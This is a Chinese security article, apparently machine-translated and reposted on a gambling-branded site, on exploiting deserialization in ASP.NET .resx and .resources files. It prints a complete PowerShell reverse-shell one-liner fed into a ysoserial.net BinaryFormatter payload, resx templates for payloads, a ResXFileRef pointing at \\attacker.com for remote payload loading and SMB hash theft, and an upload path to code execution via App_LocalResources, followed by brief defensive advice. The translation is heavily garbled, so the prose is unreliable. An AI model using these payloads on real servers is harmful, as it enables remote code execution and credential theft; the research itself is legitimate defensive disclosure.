ASP.NET资本文件(.RESX)与反序列化的歹意应用 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

ASP.NET资本文件(.RESX)与反序列化的歹意应用

申博_安全预警 申博 165次浏览 已收录 0个评论

ASP.NET应用顺序中的资本文件一般用于当地操纵。 它们可用于存储用户界面对象或字符串,并能够轻松地举行言语转换事情。这些资本文件运用.resx扩大名。 这些.resx文件能够举行编译以供应用顺序运用。编译后的文件修正扩大名为.resources

这些资本文件是XML花样,但它们能够包罗序列化对象。 二进制对象能够序列化并以.64文件花样存储在base64编码花样中。 资本支撑BinaryFormatterSoapFormatterTypeConverters,它们都能够被应用举行反序列化以便加载外部文件。有关资本文件的Microsoft的更多信息能够在线浏览。

因为曩昔已提到过.resx文件中的反序列化题目, 因而这篇博文旨在更细致地议论这类进击要领,以进步对它的熟悉。

本研讨中运用的剖析灵感来自于AlvaroMuñozOleksandr Mirosh撰写的白皮书,截止到周五已有13次JSON进击发作。

补钉与现存题目

我最后在2018年1月向Microsoft报告了资本文件(.resx和.resources)中的一些反序列化题目。在2018年7月,因为不平安地处置惩罚资本文件,微软向很多产物宣布了补钉(CVE-2018-8172,CVE-2018-8172和 CVE-2018-8300),比方SharePointVisual Studio

ASP.NET资本文件(.RESX)与反序列化的歹意应用

这里是细致的动态图片。

自2018年7月份补钉以来,我们就没法在Visual Studio中直接翻开具有Web符号(MOTW的.resx.resources文件。 当MOTW存在时,resgen.exe对象也会显现毛病,而winres.exe对象一直显现正告音讯。 值得我们注重的是,从压缩文件中提取或由IE或Edge以外的浏览器下载的资本文件能够没有MOTW,应当警惕处置惩罚。

Microsoft Developer Network(MSDN)中的System.Resources定名空间文档也已更新,包孕ResourceManagerResourceReaderResourceSet要领的平安申明:

“运用不受信托的数据挪用此要领存在平安风险。请运用受信托的数据挪用类中的要领。 有关更多信息,请参阅“不受信托的数据平安风险”。

应当注重,System.Resources要领还没有变动。 因而,一切运用ASP.NET库来读取,编译或反编译资本文件的应用顺序若接收用户供应的资本,则能够遭到进击。

System.Resources定名空间是怎样遭到影响的?

因为没法事前肯定资本文件中的序列化对象范例,因而我们没法经由历程不平安的反序列化来防备代码实行。 虽然运用BinaryFormatter能够举行恰当的防护。因为SoapFormatterTypeConverters能够用作替代要领,以是我们没法防备一切的进击。

资本文件还可运用UNC途径指向当地文件或共享资本。 处置惩罚这些文件时能够会致使文件罗列SMB哈希挟制的状况。 当客户端对象成为目的时,SMB哈希挟制风险能够会更高。

因为.resx文件是基于XML的,因而在运用一般XML库读取资本文件时,自界说剖析器能够随意马虎遭到XML外部实体(XXE)进击。 然则,默许状况下,ResXResourceReader类运用不处置惩罚文档范例界说(DTD)局部的XmlTextReader

手艺细节

我们能够运用数据和元数据符号的mimetype属性在资本内反序列化对象。 另外,type属性可用于运用TypeConverters反序列化对象。

BinaryFormatter和SoapFormatter反序列化

BinaryFormatterSoapFormatter反序列化在以下状况下,运用BinaryFormatterSystem.Runtime.Serialization.Formatters.Binary.BinaryFormatter)对资本文件中的对象举行反序列化:

  • mimetype属性为数据符号供应空值 。
  • mimetype属性是以下数据或元数据符号的属性之一:

  • application/x-microsoft.net.object.binary.base64

  • text/microsoft-urt/psuedoml-serialized/base64

  • text/microsoft-urt/binary-serialized/base64

在以下状况下,运用SoapFormatter(System.Runtime.Serialization.Formatters.Soap.SoapFormatter)对资本文件中的对象举行反序列化:

mimetype属性是数据或元数据符号的以下属性之一:

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

  • application/x-microsoft.net.object.soap.base64

  • text/microsoft-urt/soap-serialized/base64

基于源代码,SoapFormatter其实不经由历程System.Web运用。 然则,其依然能够经由历程将资本文件上传到ASP.NET Web应用顺序的资本文件夹中来实行此操纵。

ysoserial.net项目可用于天生payload,而能够无视反序列化题目。 以下示例显现怎样天生具有PowerShell反向shellBinaryFormatter有用内容:

$command = '$client = New-Object System.Net.Sockets.TCPClient("remote_IP_here", remote_PORT_here);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

./ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "powershell.exe -encodedCommand $encodedCommand"

然后能够在资本文件中运用天生的payload,以下所示:

[Resource file default scheme and headers redacted]

<data name="test1_BinaryFormatter" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[BinaryFormatter payload goes here without the square brackets]</value>
</data>

经由历程TypeConverters举行反序列化

资本文件在很多场景中运用TypeConverters。 然则,运用CanConvertFrom要领搜检范例是不是受支撑也很主要。 进击者能够经由历程查找适宜的类文件并运用ConvertFrom要领实行代码。 有关这些进击的更多信息能够在白皮书中浏览。

以下计划显现了怎样运用这些被完整限定称号后的资本文件中TypeConverters要领,并将其作为type属性:

  • application/x-microsoft.net.object.bytearray.base64位于mimetype时:
<data name="test1" mimetype="application/x-microsoft.net.object.bytearray.base64" type="A Fully Qualified Assembly Name Here"><value>Base64 ByteArray Payload Here</value></data>

它须要一个接收CanConvertFrom中byte[]范例的类文件。

  • 或许,当mimetype属性不可用、type属性不为null且不包罗System.Byte[]mscorlib字符串时:
<data name="test1" type="A Fully Qualified Assembly Name Here">
<value>String Payload Here</value>
</data>

它须要一个接收CanConvertFrom中的String范例的类文件。

  • 或许能够包罗运用System.Resources.ResXFileRef范例的外部文件途径:
<data name="test1" type="System.Resources.ResXFileRef, System.Windows.Forms">
 <value>UNC_PATH_HERE; A Fully Qualified Assembly Name Here</value>
</data>

猎取完整限定的顺序集称号的范例时,它支撑StringByte[]MemoryStream范例。 但是这会被滥用以加载包罗歹意序列化对象文件。这能够用于绕过对初始资本文件的潜伏限定。 以下数据符号显现了一个示例:

<data name="foobar" type="System.Resources.ResXFileRef">
 <value>
 \\attacker.com\payload.resx; System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
 </value>
 </data>

ResXFileRef范例也能够经由历程毛病音讯来举行文件罗列。 也能够经由历程UNC途径举行SMB哈希挟制。 下面是一个例子:

<data name="foobar" type="System.Resources.ResXFileRef, System.Windows.Forms">
 <value>\\AttackerServer\test\test;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
 </data>

在IIS上进击不平安的文件的上传者

除许可用户经由历程供应资本文件来自界说其当地化设置和用户界面显现资本以外,具有以下特性的文件上载顺序也能够遭到影响:

能够上传扩大名为.resx.resources的文件,而且文件能够上传到上传文件夹中的恣意目次中。上传文件夹可经由历程收集接见,而且还没有在上载文件夹中禁用ASP.NET处置惩罚顺序,如*.aspx*.ashx*.asmx*_appservice.axd

直接在App_GlobalResourcesApp_LocalResources文件夹上传资本文件能够致使长途代码实行。 这能够会影响不斟酌.resx.resources扩大名的应用顺序。 因为App_GlobalResources目次只能位于应用顺序的根目次下,因而App_LocalResources文件夹更随意马虎遭到此进击。

进击者能够将歹意资本文件(.resx或.resources)上传到上传文件夹中的App_LocalResources文件夹,然后从上传文件夹中挪用ASP.NET文件(不须要存在)来实行恣意代码。

我们能够运用resgen.exe对象编译.resx文件以建立.resources。 应当注重,破绽应用代码也将在编译历程当中实行。

若是还没有在IIS服务器上建立文件夹,进击者能够能够运用App_LocalResources::$Index_allocationApp_LocalResources:$i30:$Index_allocation建立App_LocalResources文件夹。 有关此手艺的更多信息,请参阅OWASP.org 。

以下文件和目次树显现了胜利上载文件的示例:

|_ wwwroot
     |_ MyApp
         |_ Userfiles
              |_ App_LocalResources
                     |_ test.resx

如今,经由历程翻开/MyApp/Usefiles/foobar.aspx页面,能够在Web服务器上实行代码。 test.resx文件能够用其编译版本(test.resources)替代。 foobar.aspx文件不须要存在于服务器上。

结论

没有充足的考证历程请不要置信托何资本文件。

若是资本文件包罗字符串值,发起剖析.resx文件并运用简朴的XML剖析器对象读取值,而不要随意马虎处置惩罚DTD局部。 然后能够平安地处置惩罚通用范例数据,而无需支撑反序列化,范例转换器和文件援用。

为了珍爱文件上传顺序,请确保在上载文件夹中禁用ASP.NET扩大文件,并运用白名单考证要领,但不包孕.resx.resources扩大名。 更多发起能够在OWASP.org上找到。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明ASP.NET资本文件(.RESX)与反序列化的歹意应用
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址